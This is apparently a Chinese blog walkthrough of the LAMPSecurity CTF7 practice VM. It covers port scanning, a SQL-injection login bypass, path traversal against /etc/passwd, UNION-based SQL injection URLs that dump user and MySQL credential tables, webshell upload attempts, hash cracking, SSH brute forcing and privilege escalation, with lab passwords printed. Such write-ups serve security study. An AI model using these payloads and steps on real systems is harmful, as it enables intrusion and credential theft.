LAMPSECURITY:CTF7

一、信息收集

1
2
3
4
5
6
nmap --min-rate 10000 -Pn -p- 192.168.1.136 -oA test 

# 22,80,139,901,8080,10000
cat test.nmap | grep open | awk -F '/' '{printf $1","}'

sudo nmap -sT -Pn -sC -sV -O -p22,80,139,901,8080,10000 192.168.1.136

详细信息

80端口

访问80端口

注册需要有邮箱,忘记密码也需要有邮箱,(当时怎么没随便注册一个登进去呢)

8080端口

后台万能密码

8080端口,是后台登录页面

尝试admin/root,最后是万能密码 admin' or 1=1#成功进入

有feedback页面

有users页面

但是没有密码,Edit功能应该可以改密码,将第一个用户密码改为123456**(这里为后面渗透留下了阻碍)**

10000端口

10000端口,是个Webmin server

万能密码,被检测了无效字符,弱口令几次尝试无果

后续尝试

80端口登录,(这里直接擅自修改了原密码,进行登录,不妥,能注册就自己注册一个)

image-20231128102312673

功能很少,但是可以去阅读室

左下角的链接很在意,想尝试文件包含

1
192.168.1.136/read&file=../../../../../../../../../etc/passwd

%00截断就404了

SQL注入

还有一个NewsLetter功能,也是阅读什么东西,url为

1
http://192.168.1.136/newsletter&id=1

尝试一下SQL注入,单引号尝试

报错syntax; ,那就是存在

它都暴露出了表和字段类型了,应该是个数字型 (a and true/false证实)

1
2
3
4
5
6
order by 判断为5
id=-1%20 union select 1,2,3,4,5 #回显了2和4 ,#database()看一下
d=-1%20 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5 #有users表

http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='users'),3,4,5 #username,password,is_admin ...
http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(username,'!!',password,'!!',is_admin,'~')%20from%20website.users),3,4,5 #有密码

拿第一个账户的密码,破解一下,是123456

!!!!

嘶,我改过了的诶,直接去10000端口登录啊

哦,好像也不对

哦,不对,10000端口账号不是邮箱啊喂,它的url是个 .cgi后缀

将brain尝试去ssh,不对

回到8080端口的管理页面,有一个文件上传的地方

尝试文件上传

weevely生成一个木马,然后上传,貌似连接不上,因为这个url的话体现的是文件包含那种,那我应该上传一句话(GET),也没反应嘞

爆破目录

1
dirb http://192.168.1.136 -X ,.html,.php 

发现了, /inc目录,phpinfo,没什么用

那怎么办?

扫8080端口的

1
2
dirb http://192.168.1.136:8080 -X ,.html,.php 
#有phpmyadmin,但是没有凭证进不去

那你要这样的话,那还是得去sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#查看数据库名
http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.SCHEMATA)%20,3,4,5
#有一个 mysql、website

#爆表
http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='mysql')%20,3,4,5

#爆列
http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='mysql'%20and%20table_name='user')%20,3,4,5
#User,Password
http://192.168.1.136/newsletter&id=-1%20%20union%20select%201,(select%20group_concat(User,'!!!',Password,0x7e)%20from%20mysql.user)%20,3,4,5
#它有root,密码为空;但我之前试过,禁用了
#webdev:wevdev
#test:test

选择其中的用户登入到phpmyadmin,查看roundcube库,发现有个users表

发现3个用户名

先用john到10000网站登录一下,密码就是一开始sql注入爆破出来的密码,不行

ssh连接+sudo提权

ssh连接尝试,可以进入

1
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.1.136 

补充

1.靶机没有ip

解决方案

登录凭证为 root:root55pass

1
2
3
4
5
6
7
service network restart报错
#Bringing up interface eth0: Device eth0 does not seem to be #present,delaying initialization.
vi /etc/sysconfig/network-scripts/ifcfg-eth0
#删除HWADDR和UUID
再reboot 没用
再打开 ifconfig -a,发现是网卡名为eth1
如果还是不行,我把ifcfg-eth0的内容的双引号都去了,然后reboot,发现可以了

2.文件上传失效

是因为那个路径不算是真正的路径,真实的路径其实在dirb里出现了,有assets

image-20231128133007065

是可以执行的,但这里其实可以更大胆点,直接php的反弹shell

如果是这样的话,拿的就是webshell,那提权提不了,就是去找mysql信息的

就可以在该shell登录进mysql,进而找到表里的用户和密码

对于hash破解我要记录一下

1
sudo hashcat -m 0 -a 0 hash.list /usr/share/wordlists/rockyou.txt 

之后就是1.txt存用户名,2.txt存密码

1
2
3
4
5
crackmapexec ssh ip -p 2.txt -u 1.txt --continue-on-success | grep '+'
#这一般是域渗透的爆破工具
#这里可以看出来一个brain:my2cents
#然后在webshell进行
su brain #切换用户,切换shell

3.注意事项

不要擅自修改密码,本来我不改密码的话,尝试一下ssh连接,可能就登进去了;而且那个登录页面完全可以是注册的,哎,随便注册个进去,sql注入就好了

总结

我的有效步骤为:

  1. 80端口->8080端口万能密码
  2. 获取后台用户->更改用户密码
  3. 80端口登录该用户->找到sql注入的点
  4. sql注入获取用户密码,获取mysql密码
  5. 登录phpmyadmin,得到用户名,尝试ssh连接->本地提权

不足之处,因为擅自修改了用户密码,导致尝试ssh连接时,仅尝试第一个用户不对就不尝试了;中间有文件上传的部分,但由于没有得到真实路径,没有成功

红笔步骤:

  1. 8080端口万能密码->文件上传,反弹shell
  2. dirb路径扫描得到 /assets
  3. webshell->获得mysql信息->shell登入mysql->获取用户信息
  4. 提取用户名和密码尝试ssh登录,loginshell->sudo提权

确实,有了用户和密码应该首先想到去ssh连接

拿shell信息,要么直接文件上传,要么尝试文章嵌入一句话

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信